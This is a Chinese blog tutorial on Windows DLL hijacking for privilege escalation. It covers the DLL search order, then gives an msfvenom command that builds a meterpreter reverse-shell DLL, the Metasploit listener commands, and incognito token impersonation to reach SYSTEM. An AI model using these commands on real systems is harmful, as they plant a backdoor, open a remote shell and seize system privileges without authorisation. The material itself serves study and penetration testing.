首页 > 其他分享 >DLL劫持提权

DLL劫持提权

时间:2024-08-02 16:27:57浏览次数:5  
标签:文件 劫持 Windows dll 提权 动态链接库 DLL

Dll劫持原理介绍

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是一种文件类型。在程序运行中,可能会需要一些相对独立的动态链接库,而这些预先放置在系统中的动态链接库文件。当我们执行某一个程序时,相应的DLL文件就会被调用。DLL 是一个包含可由多个程序同时使用的代码和数据的库,一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
DLL劫持指的是,恶意程序通过劫持或者替换正常的动态链接库,欺骗正常程序加载精心准备的恶意动态链接库。DLL劫持发产生大多与动态链接库加载顺序顺序有关,不同的系统查找DLL的目录以及对应的顺序略有差异,大概可以分为Windows XP SP2之前、在winxdows xp sp2之后这两种情况。
Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程 序要查找的位置放置恶意 DLL 来提权。

通常,Windows 应用程序有其预定义好的搜索DLL 的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录(程序自身的目录)
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

过程:
信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功.
1.通过火绒剑分析进程
分析进程调用模块,找到可以利用的dll文件
2.MSF生成后门dll木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.131 lport=8888 -f dll >C:\Users\Ninja\Desktop\xxxx.dll

3.上传替换
4.MSF监听

>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set lhost xxx.xxx.xxx
>set lport 8888
>exploit

等待程序运行,木马执行。
5.配合令牌窃取进行提权

>use incognito  (进入incognito模块)
>list_tokens -u  (列出令牌)
>impersonate_token "NT AUTHORITY\\SYSTEM"  

标签:文件,劫持,Windows,dll,提权,动态链接库,DLL
From: https://www.cnblogs.com/m0userathxy/p/18337728

相关文章

  • Web中间件漏洞提权
    Web中间件漏洞提权什么是Web中间件是一类提供系统软件和应用软件之间的连接,便于软件各部件之间的沟通的软件,应用软件可以借助中间件在不同的技术架构之间共享信息和资源。中间件位于客户机服务器的操作系统之上,管理着计算资源和网络通信。中间件=平台+通信一、IIS中间件1、IIS......
  • 轻松应对钉钉MainFrame.dll文件缺失,保障工作效率
    面对钉钉软件中出现的MainFrame.dll文件缺失问题,无需过度担忧,采取正确的应对措施能够迅速恢复软件的正常运行,从而保障您的工作效率不受影响。首先,了解MainFrame.dll是钉钉软件运行所必需的一个关键组件,它的缺失可能是由多种原因造成的,如软件安装不完整、系统更新冲突、文件被......
  • 关于使用C#注入C++的封装DLL后打印内容乱码
    最近因需要,用C++写了个钩子的DLL,一切工作测试通过后,放到C#里使用P/Invoke调用,发现部分乱码,最后反复测试,才发现一个问题,原来SetWindowsHookEx这个函数,也是分A版和W版,最后换了就正常了,附上对比。。乱码[DllImport("user32.dll",SetLastError=true]publicstaticex......
  • matlab将.m文件导出dll
    根据项目需要,需要这边引用matlab的函数进行数据处理,首先考虑是将matlab代码直接导出成c/c++代码,但是由于matlab代码中引用了其他的matlab库函数,无法直接导成c/c++代码,退而求其次,转而考虑导出为dll文件1、需要安装matlab和vs,目前分别是2016版本和2022版本导出步骤可参考https://w......
  • ARP欺骗与DNS劫持实验详解
    ARP欺骗原理ARP协议是AddressResolutionProtocol(地址解析协议)的缩写,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主......
  • 《极限竞速:地平线5》游戏提示缺少kernel32.dll怎么处理?极限竞速地平线5游戏弹窗“缺少
    当游戏弹窗提示“缺少kernel32.dll”时,别慌张。现在为您介绍有效的修复方法。您可以尝试重新注册该动态链接库文件,或者从可靠来源下载并安装。同时,检查系统更新和修复可能存在的系统错误,本篇将为大家带来游戏提示缺少kernel32.dll修复方法的内容,感兴趣的小伙伴们一起来看看吧,希......
  • 《上古卷轴5》游戏崩溃提示缺少X3DAudio1_7.dll怎么办?上古卷轴5游戏弹窗“缺少X3DAudi
    在玩《上古卷轴5》时,游戏崩溃并提示缺少X3DAudio1_7.dll让人十分困扰。这一问题可能影响您的游戏体验。现在为您详细说明此情况,可能是文件缺失、损坏或是系统与游戏不兼容等原因导致,需针对性解决。本篇将为大家带来《上古卷轴5》游戏崩溃提示缺少X3DAudio1_7.dll修复方法的内容......
  • 《绝地求生》游戏运行提示缺少dxgi.dll文件怎么处理?绝地求生游戏崩溃找不到dxgi.dll修
    在玩绝地求生时,游戏崩溃并提示找不到dxgi.dll令人烦恼。别担心,现在为您介绍几种有效的修复方法。可能需要重新安装相关组件,或者通过系统修复工具进行处理等。本篇将为大家带来绝地求生游戏崩溃找不到dxgi.dll修复方法的内容,感兴趣的小伙伴们一起来看看吧,希望能够帮助到大家。......
  • 《收获日3》游戏提示“缺失binkw32.dll”文件怎么处理?收获日3弹窗“缺失binkw32.dll”
    在玩《收获日3》时,遇到弹窗提示“缺失binkw32.dll”的问题令人困扰。别着急,这里为您提供有效的处理方法。可能需要重新安装相关组件,或者从特定网站下载该文件等。本篇将为大家带来弹窗“缺失binkw32.dll”处理方法的内容,感兴趣的小伙伴们一起来看看吧,希望能够帮助到大家。弹......
  • sos.dll 命令
    0:000>!sos.help-------------------------------------------------------------------------------SOSisadebuggerextensionDLLdesignedtoaidinthedebuggingofmanagedprograms.Functionsarelistedbycategory,thenroughlyinorderofimportance......